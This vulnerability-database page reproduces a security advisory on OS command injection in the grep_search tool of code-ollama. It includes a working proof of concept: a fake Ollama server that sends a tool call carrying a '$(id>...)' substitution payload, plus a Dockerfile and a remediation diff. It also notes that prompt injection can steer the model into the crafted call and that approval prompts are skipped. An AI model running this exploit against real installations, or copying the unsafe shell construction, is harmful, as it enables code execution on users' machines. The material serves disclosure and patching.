## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) ### Summary The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The...
Full CISO analysis pending enrichment.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Ollama | npm | <= 0.36.0 | 0.36.1 |
Do you use Ollama? You're affected.
How severe is it?
What is the attack surface?
What should I do?
Patch available
Update Ollama to version 0.36.1
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-456v-xq2p-r4cj?
## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) ### Summary The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**. ### Details **Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`** ```ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"'); const { stdout } = await execShell( `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, ); ``` Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution. **Full data-flow path (source → sink)** | Step | Location | Action | |------|----------|--------| | 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI | | 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` | | 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it | | 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` | | 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) | | 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) | | 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` | **Approval-bypass amplifier** `grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation. ### PoC **Prerequisites** - `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below). - `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server. **Step 1 — Build the self-contained Docker image (recommended)** ```sh # From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama ``` The container automatically runs `poc.py` as `CMD`. Successful exploitation prints: ``` [+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)' ``` **Step 2 — Manual reproduction (bare-metal)** ```sh # Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading _req = 0 _lock = threading.Lock() class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b"Ollama is running") def do_POST(self): global _req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with _lock: _req += 1; n = _req self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "tool_calls":[{"function":{"name":"grep_search", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"done_reason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"done_reason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush() HTTPServer(("127.0.0.1", 11434), H).serve_forever() PY python3 /tmp/fake-ollama.py & # Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=... ``` **Explanation of the payload** The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string ``` rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp" ``` is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts. **Remediation** Replace the shell-string construction with an argument-vector call to avoid the shell entirely: ```diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 }; - const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RG_EXEC_OPTIONS, + ); ``` ### Impact This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`. Impact scope: - **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history. - **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources. The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: grep_search Command Injection — CWE-78 # Target: ai-action/code-ollama v0.36.0 # Proof-of-concept Docker image: builds the repo and runs poc.py # # Build (from project root): # docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . # Run: # docker run --rm vuln001-code-ollama FROM node:24-slim # ripgrep — required by grepSearch() in the vulnerable code path # python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # ── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ # Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci # ── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ # Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build # ── Runtime setup ───────────────────────────────────────────────────────────── # code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace COPY vuln-001/poc.py /poc.py WORKDIR /workspace CMD ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`) Attack path: malicious Ollama server -> tool_call.arguments.pattern -> grepSearch() -> execShell() -> child_process.exec() Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama. Usage (inside Docker, called automatically by CMD): python3 /poc.py Expected outcome: /tmp/poc-evidence is created with content matching INJECTED_CMD output. """ import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- FAKE_SERVER_HOST = "127.0.0.1" FAKE_SERVER_PORT = 11434 # The marker file written by the injected command — used as exploitation proof MARKER_FILE = "/tmp/poc-evidence" # Payload: $() command substitution that is NOT escaped by code-ollama's # sanitization (only \\ and " are escaped, leaving $() intact). # Writes output of `id` to MARKER_FILE to capture the running UID/GID. INJECTED_CMD = f"$(id>{MARKER_FILE})" # Path argument for grep_search (must be a valid non-empty string) TARGET_PATH = "/workspace" # Tracks how many POST requests the fake server has received _request_count = 0 _request_lock = threading.Lock() # --------------------------------------------------------------------------- # Fake Ollama HTTP server # --------------------------------------------------------------------------- class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC. First POST /api/chat -> returns a grep_search tool_call carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """ def log_message(self, fmt, *args): # suppress default request logging pass # ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"Ollama is running") # ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def do_POST(self): global _request_count # Consume request body to avoid broken-pipe on the client side content_length = int(self.headers.get("Content-Length", 0)) _ = self.rfile.read(content_length) with _request_lock: _request_count += 1 current_request = _request_count self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if current_request == 1: # --------------------------------------------------------------- # First request: inject malicious grep_search tool call # The `arguments` object is passed verbatim through the ollama-npm # library and reaches grepSearch(pattern, path) in grep.ts. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " f"sending malicious grep_search tool_call") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "", "tool_calls": [{ "function": { "name": "grep_search", # pattern and path are the two required string args # validated by validateArgs() in dispatcher.ts "arguments": { "pattern": INJECTED_CMD, "path": TARGET_PATH, }, } }], }, "done": True, "done_reason": "stop", } else: # --------------------------------------------------------------- # Subsequent requests: plain text to terminate the tool loop. # No tool_calls -> nextMessages stays null -> processRunStream # returns after checking hasUncalledToolIntent (no match on # "Done.") so the CLI exits cleanly. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " "sending done/stop response") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "Done.", }, "done": True, "done_reason": "stop", } self.wfile.write((json.dumps(chunk) + "\n").encode()) self.wfile.flush() def start_fake_server(): """Start the fake Ollama server in a daemon thread.""" server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server # --------------------------------------------------------------------------- # Main orchestration # --------------------------------------------------------------------------- def main(): print("=" * 65) print("VULN-001: grep_search Command Injection PoC (CWE-78)") print("Target : ai-action/code-ollama v0.36.0") print("Sink : src/utils/tools/filesystem/grep.ts:65") print("=" * 65) print() print(f"[*] Payload : {INJECTED_CMD}") print(f"[*] Marker : {MARKER_FILE}") print() # Clean up any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.unlink(MARKER_FILE) print(f"[*] Removed stale marker file: {MARKER_FILE}") # ----------------------------------------------------------------------- # 1. Start the fake Ollama server # ----------------------------------------------------------------------- print(f"[*] Starting fake Ollama server on " f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...") start_fake_server() time.sleep(0.4) # give the server socket time to bind # ----------------------------------------------------------------------- # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server # --trust skips the interactive directory-trust prompt (src/cli.ts:214) # ----------------------------------------------------------------------- env = os.environ.copy() env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}" # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile cmd = [ "node", "/app/dist/cli.js", "run", "--trust", "fake", "search the code", ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}") print() try: result = subprocess.run( cmd, env=env, stdin=subprocess.DEVNULL, # no TTY / interactive input needed capture_output=True, text=True, timeout=60, cwd="/workspace", ) except subprocess.TimeoutExpired: print("[-] code-ollama subprocess timed out after 60 s") sys.exit(1) print("--- code-ollama stdout ---") print(result.stdout[:3000] if result.stdout else "(empty)") print("--- code-ollama stderr ---") print(result.stderr[:3000] if result.stderr else "(empty)") print(f"--- exit code: {result.returncode} ---") print() # ----------------------------------------------------------------------- # 3. Verify exploitation: check for the marker file # ----------------------------------------------------------------------- if os.path.exists(MARKER_FILE): evidence = open(MARKER_FILE).read().strip() print("[+] ============================================================") print("[+] EXPLOITATION CONFIRMED") print("[+] ============================================================") print(f"[+] Marker file : {MARKER_FILE}") print(f"[+] Contents : {evidence!r}") print("[+] Explanation : The $() command substitution inside the") print("[+] grep_search pattern was NOT escaped by code-ollama's") print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").") print("[+] execShell() passed the raw string to child_process.exec()") print("[+] which ran it through /bin/sh, executing the injected") print("[+] command as the current user.") print("[+] ============================================================") sys.exit(0) else: print("[-] ============================================================") print("[-] EXPLOITATION FAILED") print(f"[-] Expected marker file NOT found: {MARKER_FILE}") print("[-] Possible causes:") print("[-] - ollama-npm parsed tool_call.arguments differently") print("[-] - The pattern was sanitized before reaching execShell()") print("[-] - ripgrep is not installed so the fallback path was taken") print("[-] - The shell used does not support $() substitution") print("[-] ============================================================") sys.exit(1) if __name__ == "__main__": main() ```
Is GHSA-456v-xq2p-r4cj actively exploited?
No confirmed active exploitation of GHSA-456v-xq2p-r4cj has been reported, but organizations should still patch proactively.
How to fix GHSA-456v-xq2p-r4cj?
Update to patched version: Ollama 0.36.1.
What is the CVSS score for GHSA-456v-xq2p-r4cj?
GHSA-456v-xq2p-r4cj has a CVSS v3.1 base score of 7.8 (HIGH).
What are the technical details?
Original Advisory
## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) ### Summary The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**. ### Details **Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`** ```ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"'); const { stdout } = await execShell( `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, ); ``` Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution. **Full data-flow path (source → sink)** | Step | Location | Action | |------|----------|--------| | 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI | | 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` | | 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it | | 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` | | 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) | | 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) | | 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` | **Approval-bypass amplifier** `grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation. ### PoC **Prerequisites** - `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below). - `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server. **Step 1 — Build the self-contained Docker image (recommended)** ```sh # From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama ``` The container automatically runs `poc.py` as `CMD`. Successful exploitation prints: ``` [+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)' ``` **Step 2 — Manual reproduction (bare-metal)** ```sh # Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading _req = 0 _lock = threading.Lock() class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b"Ollama is running") def do_POST(self): global _req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with _lock: _req += 1; n = _req self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "tool_calls":[{"function":{"name":"grep_search", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"done_reason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"done_reason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush() HTTPServer(("127.0.0.1", 11434), H).serve_forever() PY python3 /tmp/fake-ollama.py & # Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=... ``` **Explanation of the payload** The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string ``` rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp" ``` is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts. **Remediation** Replace the shell-string construction with an argument-vector call to avoid the shell entirely: ```diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 }; - const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RG_EXEC_OPTIONS, + ); ``` ### Impact This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`. Impact scope: - **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history. - **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources. The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: grep_search Command Injection — CWE-78 # Target: ai-action/code-ollama v0.36.0 # Proof-of-concept Docker image: builds the repo and runs poc.py # # Build (from project root): # docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . # Run: # docker run --rm vuln001-code-ollama FROM node:24-slim # ripgrep — required by grepSearch() in the vulnerable code path # python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # ── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ # Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci # ── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ # Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build # ── Runtime setup ───────────────────────────────────────────────────────────── # code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace COPY vuln-001/poc.py /poc.py WORKDIR /workspace CMD ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`) Attack path: malicious Ollama server -> tool_call.arguments.pattern -> grepSearch() -> execShell() -> child_process.exec() Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama. Usage (inside Docker, called automatically by CMD): python3 /poc.py Expected outcome: /tmp/poc-evidence is created with content matching INJECTED_CMD output. """ import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- FAKE_SERVER_HOST = "127.0.0.1" FAKE_SERVER_PORT = 11434 # The marker file written by the injected command — used as exploitation proof MARKER_FILE = "/tmp/poc-evidence" # Payload: $() command substitution that is NOT escaped by code-ollama's # sanitization (only \\ and " are escaped, leaving $() intact). # Writes output of `id` to MARKER_FILE to capture the running UID/GID. INJECTED_CMD = f"$(id>{MARKER_FILE})" # Path argument for grep_search (must be a valid non-empty string) TARGET_PATH = "/workspace" # Tracks how many POST requests the fake server has received _request_count = 0 _request_lock = threading.Lock() # --------------------------------------------------------------------------- # Fake Ollama HTTP server # --------------------------------------------------------------------------- class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC. First POST /api/chat -> returns a grep_search tool_call carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """ def log_message(self, fmt, *args): # suppress default request logging pass # ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"Ollama is running") # ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def do_POST(self): global _request_count # Consume request body to avoid broken-pipe on the client side content_length = int(self.headers.get("Content-Length", 0)) _ = self.rfile.read(content_length) with _request_lock: _request_count += 1 current_request = _request_count self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if current_request == 1: # --------------------------------------------------------------- # First request: inject malicious grep_search tool call # The `arguments` object is passed verbatim through the ollama-npm # library and reaches grepSearch(pattern, path) in grep.ts. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " f"sending malicious grep_search tool_call") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "", "tool_calls": [{ "function": { "name": "grep_search", # pattern and path are the two required string args # validated by validateArgs() in dispatcher.ts "arguments": { "pattern": INJECTED_CMD, "path": TARGET_PATH, }, } }], }, "done": True, "done_reason": "stop", } else: # --------------------------------------------------------------- # Subsequent requests: plain text to terminate the tool loop. # No tool_calls -> nextMessages stays null -> processRunStream # returns after checking hasUncalledToolIntent (no match on # "Done.") so the CLI exits cleanly. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " "sending done/stop response") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "Done.", }, "done": True, "done_reason": "stop", } self.wfile.write((json.dumps(chunk) + "\n").encode()) self.wfile.flush() def start_fake_server(): """Start the fake Ollama server in a daemon thread.""" server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server # --------------------------------------------------------------------------- # Main orchestration # --------------------------------------------------------------------------- def main(): print("=" * 65) print("VULN-001: grep_search Command Injection PoC (CWE-78)") print("Target : ai-action/code-ollama v0.36.0") print("Sink : src/utils/tools/filesystem/grep.ts:65") print("=" * 65) print() print(f"[*] Payload : {INJECTED_CMD}") print(f"[*] Marker : {MARKER_FILE}") print() # Clean up any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.unlink(MARKER_FILE) print(f"[*] Removed stale marker file: {MARKER_FILE}") # ----------------------------------------------------------------------- # 1. Start the fake Ollama server # ----------------------------------------------------------------------- print(f"[*] Starting fake Ollama server on " f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...") start_fake_server() time.sleep(0.4) # give the server socket time to bind # ----------------------------------------------------------------------- # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server # --trust skips the interactive directory-trust prompt (src/cli.ts:214) # ----------------------------------------------------------------------- env = os.environ.copy() env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}" # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile cmd = [ "node", "/app/dist/cli.js", "run", "--trust", "fake", "search the code", ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}") print() try: result = subprocess.run( cmd, env=env, stdin=subprocess.DEVNULL, # no TTY / interactive input needed capture_output=True, text=True, timeout=60, cwd="/workspace", ) except subprocess.TimeoutExpired: print("[-] code-ollama subprocess timed out after 60 s") sys.exit(1) print("--- code-ollama stdout ---") print(result.stdout[:3000] if result.stdout else "(empty)") print("--- code-ollama stderr ---") print(result.stderr[:3000] if result.stderr else "(empty)") print(f"--- exit code: {result.returncode} ---") print() # ----------------------------------------------------------------------- # 3. Verify exploitation: check for the marker file # ----------------------------------------------------------------------- if os.path.exists(MARKER_FILE): evidence = open(MARKER_FILE).read().strip() print("[+] ============================================================") print("[+] EXPLOITATION CONFIRMED") print("[+] ============================================================") print(f"[+] Marker file : {MARKER_FILE}") print(f"[+] Contents : {evidence!r}") print("[+] Explanation : The $() command substitution inside the") print("[+] grep_search pattern was NOT escaped by code-ollama's") print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").") print("[+] execShell() passed the raw string to child_process.exec()") print("[+] which ran it through /bin/sh, executing the injected") print("[+] command as the current user.") print("[+] ============================================================") sys.exit(0) else: print("[-] ============================================================") print("[-] EXPLOITATION FAILED") print(f"[-] Expected marker file NOT found: {MARKER_FILE}") print("[-] Possible causes:") print("[-] - ollama-npm parsed tool_call.arguments differently") print("[-] - The pattern was sanitized before reaching execShell()") print("[-] - ripgrep is not installed so the fallback path was taken") print("[-] - The shell used does not support $() substitution") print("[-] ============================================================") sys.exit(1) if __name__ == "__main__": main() ```
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-46339 10.0 9router: unauthenticated RCE exposes LLM API keys
Same package: ollama CVE-2026-42248 9.8 Ollama: silent auto-update bypasses signature check on Windows
Same package: ollama CVE-2026-42249 9.8 Ollama: path traversal + unsigned update = silent RCE
Same package: ollama CVE-2025-63389 9.8 ollama: Missing Auth allows unauthenticated access
Same package: ollama CVE-2026-7482 9.1 Ollama: heap OOB read leaks API keys and chat data
Same package: ollama